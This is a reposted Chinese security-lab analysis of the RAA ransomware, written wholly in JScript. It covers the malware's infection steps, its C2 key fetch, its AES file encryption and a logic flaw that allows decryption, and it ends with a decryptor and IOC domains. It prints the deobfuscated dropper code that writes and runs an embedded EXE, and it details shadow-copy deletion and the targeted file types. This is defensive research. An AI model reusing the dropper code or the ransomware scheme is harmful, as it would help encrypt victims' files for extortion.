转载

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x00 概述

近日,腾讯反病毒实验室拦截到一个名为RAA的敲诈者木马,其所有的功能均在JS脚本里完成。这有别于过往敲诈者仅把JS脚本当作一个下载器,去下载和执行真正的敲诈者木马。采用JS脚本编写木马,混淆加密更加容易,并且增加了杀软的查杀难度,敲诈者木马与杀软的对抗进一步升级。但是经分析,发现名为RAA的敲诈者木马在部分场景下存在逻辑缺陷,可实现对加密文档的解密。(解密工具见附件)

0x01 样本分析

1、运行JS后,首先会在My Documents目录下释放一个假文档,文件名形如: doc_attached_* ,并且用记事本打开;文档内容是提示用户该文档无法正常打开。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

2、打开假文档之后,释放exe病毒。在JS中,存有exe数据,并且释放exe病毒的代码也经过有加密,解密后执行释放exe病毒、运行;该exe会进一步下载释放其他恶意软件,在此不进一步详细分析。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

代码解密后如下:

#!js var flo = new ActiveXObject ("ADODB.Stream"); var runer = WScript.CreateObject("WScript.Shell"); var wher = runer.SpecialFolders("MyDocuments"); wher = wher + "//" + "st.exe"; flo.CharSet = "437"; flo.Open(); var pny = data_pn.replace(/NMSIOP/g, "A"); var pny_ar = CryptoJS.enc.Base64.parse(pny); var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8); flo.Position = 0; flo.SetEOS; flo.WriteText(pny_dec); flo.SaveToFile(wher, 2); flo.Close; wher = "/"" + wher + "/""; runer.Run(wher);

一个纯JS脚本的文档敲诈者剖析(附解密工具)

3、加密前,首先会去读注册表 HKCU/RAA/Raa-fnl/ 键值,如果存在则判定该机器已经加密过,不再加密。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

4、创建启动项

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

5、删除系统服务VSS,使得用户无法从备份从恢复文件。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

6、将生成用户ID写入注册表HKCU/RAA/Raa-ID

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

7、将用户ID附加上“ - RAA”,生成如下url:

http:// datagiverd.com/mars9.php?id=XXXXXXXXX – RAA ,用GET方式获取数据。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

返回数据用于生成加密密钥和生成比特币钱包地址,后面详细分析。

8、遍历目录,当遇到在如下目录的文件,便会过滤不加密:

WINDOWS, RECYLER, Program Files, Program Files (x86), Windows, Recycle.Bin, Recycler, TEMP, APPDATA, AppData, Temp, ProgramData, Microsoft

一个纯JS脚本的文档敲诈者剖析(附解密工具)

9、遍历文件,当文件名后缀为“.locked”或者文件名中包含“~”、“$”时,同样也会过滤不加密;文件为如下后缀时,便会成为加密的目标文件:

.doc, .xls, .rtf, .pdf, .dbf, .jpg, .dwg, .cdr, .psd, .cd, .mdb, .png, .lcd, .zip, .rar, .csv

一个纯JS脚本的文档敲诈者剖析(附解密工具)

10、把文件加密为后缀名为”.locked”的文件,如123.jpg生成为123.jpg.locked

一个纯JS脚本的文档敲诈者剖析(附解密工具)

11、加密完成后,创建注册表HKCU/RAA/Raa-fnl/并且将值设置为beenFinished;同时在C盘根目录下创建 !!!README!!!*.rtf 文件,用写字板打开,提示敲诈信息。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x02 加密分析

该敲诈者会把所有的文档都用AES-256AES-256进行加密,下面是对加密过程的详细分析。

1、从 http:// datagiverd.com/mars9.php?id=XXXXXXXXX – RAA 获取相关加密信息。

返回数据以逗号分为两段,第一段长度为2000,用于生成加密密钥;第二段则为用于敲诈的比特币钱包地址:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

2、加密之前,首先生成32个0-2000的随机数, 生成序列A;然后以序列A中每个数作为地址,在服务器返回的长度2000的数据中,获得该地址的值,生成长度同为32的序列B,序列B将作为加密密钥;之后重复该过程,生成加密IV。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

3、对于不用大小的文件,会有不同的加密逻辑,主要分为4种:

  1. 文件大小约在6K-5M之间
  2. 文件大小约在5M-500M之间
  3. 文件大小小于6K
  4. 文件大小大于500M

加密完成后,都会在文件末尾附加一段数据,形如:

IDNUM=[ID]KEY_LOGIC=[KEY_L]IV_LOGIC=[IV_L]LOGIC_ID=[NUMBER]

  1. IDNUM:用户机器ID
  2. KEY_LOGIC:用于生成加密密钥的随机码
  3. IV_LOGIC:用于生成密钥向量的随机码
  4. LOGIC_ID:标识该文件所用的加密逻辑

一个纯JS脚本的文档敲诈者剖析(附解密工具)

1)文件大小约在6K-5M之间(LOGIC_ID=1)

在[2000, 2040]之间取随机数n作为长度,将文件数据分割为5块,生成如下结构的二维数组data:

n n n
size/2-3060 size-(size/2-3060)-3n

文件原数据顺序为: data[0][0]→data[1][0]→data[0][1]→data[1][1]→data[0][2]

之后仅对 data[0] 进行加密,即加密 data[0][0]data[0][1]data[0][2] ,以“=END=OF=HEADER=”作为结尾;后面直接附加上 data[1] ,即未加密的 data[1][0]data[1][1]

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

2)文件大小小于6K(LOGIC_ID=2)

对于小于6K的文件,直接将文件所有数据进行加密:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

3)文件大小约在5M-500M之间(LOGIC_ID=3)

在[90000,125000]中取随机数n,在原文件数据开头和结尾取长度为n的两段数据,进行加密。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

一个纯JS脚本的文档敲诈者剖析(附解密工具)

4)文件大小大于500M

对于大于500M的文件,则不加密。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x03 解密分析

从上面的加密方式来看,该敲诈者木马使用了AES-256加密算法,因为是对称加密算法,因此只需获得加密文档时候所使用的密钥和密钥向量,调用JS开源的AES解密接口,即可完成解密。

#!js function Decrypt(DecryptedContent){   var OriginalText = CryptoJS.AES.decrypt(DecryptedContent,                                          key,        //密钥                                         iv)         //密钥向量 }

那么,如何获取到他的解密的key和iv呢?一般情况下,只用木马作者才有相关的key和iv等信息,而普通用户是无法获取到相关的key和iv的,因此普通用户也就无法完成解密的过程,而只有给木马作者交一定数量的赎金(0.39BTC)后,作者才会给解密。但是,通过技术分析以及通过某些技术手段获取了部分服务器数据后,某些情况下,是可以进行解密的。

首先来看服务器目录结构:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

从目录结构中,我们惊喜的发现了public_key.pem,而乍看源码,我们发现是用了RSA算法,而所用的密钥恰恰是public_key.pem!但是仔细看源码,却失望的发现,返回的数据里使用到了随机数,那么也就意味着,即使有public_key,也无法准确的拿到返回的数据。

那么问题来了,作者是如何来进行解密的呢?原来,作者在返回数据的同时,还会把该用户返回的数据保存在cl目录下,并且以用户上传的ID命名。

相关的加密的源码是为:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

我们来到clcl目录下,果然发现了这些保存的数据文件:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

可以发现,生成的文件数量有上千个,说明受害的用户数目就有上千个!

此外,作者也会定期打包一份到base.zip中:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

有了上面的分析,我们来看如何进行解密。

  • 情形1:若受害的用户的ID,正好在我们获取到的这份ID数据列表里,那么我们完全可以根据在该对应文件里存放的信息来进行解密;
  • 情形2:该情形是个有趣的状况:我们发现敲诈者使用的某些域名服务端已没有使用,访问后会返回如下错误页面:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

但是,由于作者代码逻辑的不严谨,会误以为返回的该段数据即服务端返回用于生成密钥的数据,我们从文档显示的比特币钱包地址得到验证:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

这种情况下,每次JSJS脚本在服务端所获取用来生成密钥的数据是固定不变的,也就意味着,在这种情况下,用户被加密的文档本地就可以解密了!只需取下面红框中的数据,结合文件尾部的随机数,即可生成加密文档使用的密钥和密钥向量了。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

如果遇到敲诈文档中比特币钱包地址未正常显示,而是显示如下HTML语句,那么不必惊慌,使用下面的解密脚本,即可实现完美解密。

#!html initial-scale=1.0">    <title>Account Suspended</title>    <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">    <style type="text/css">        body             font-family: Arial.

下面是我们根据该敲诈者JS脚本,修改的解密脚本:

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x04 IOCs

  • download-file-mail.com
  • download-the-files.com
  • startwavenow.com
  • load-the-file.com
  • load-the-attach.com
  • attachment-load.com
  • datagiverd.com
  • dfdgdhdjdkdl.xyz

0x05 总结

从敲诈信息上看,目前该木马主要是针对俄语用户,但是也不排除该木马会不断地进化,发展为本地化版本,以攻击更多的用户群体。从攻击手段上看,攻击者也在不断地进化攻击方式,跟安全软件做持续对抗。因此用户一定要备份好自己的重要数据,并且不要打开可疑的邮件和文件,开启电脑管家可以拦截和查杀该病毒。

一个纯JS脚本的文档敲诈者剖析(附解密工具)

0x06 附件

  • 附件:解密脚本
原文  http://drops.wooyun.org/papers/17766
正文到此结束
Loading...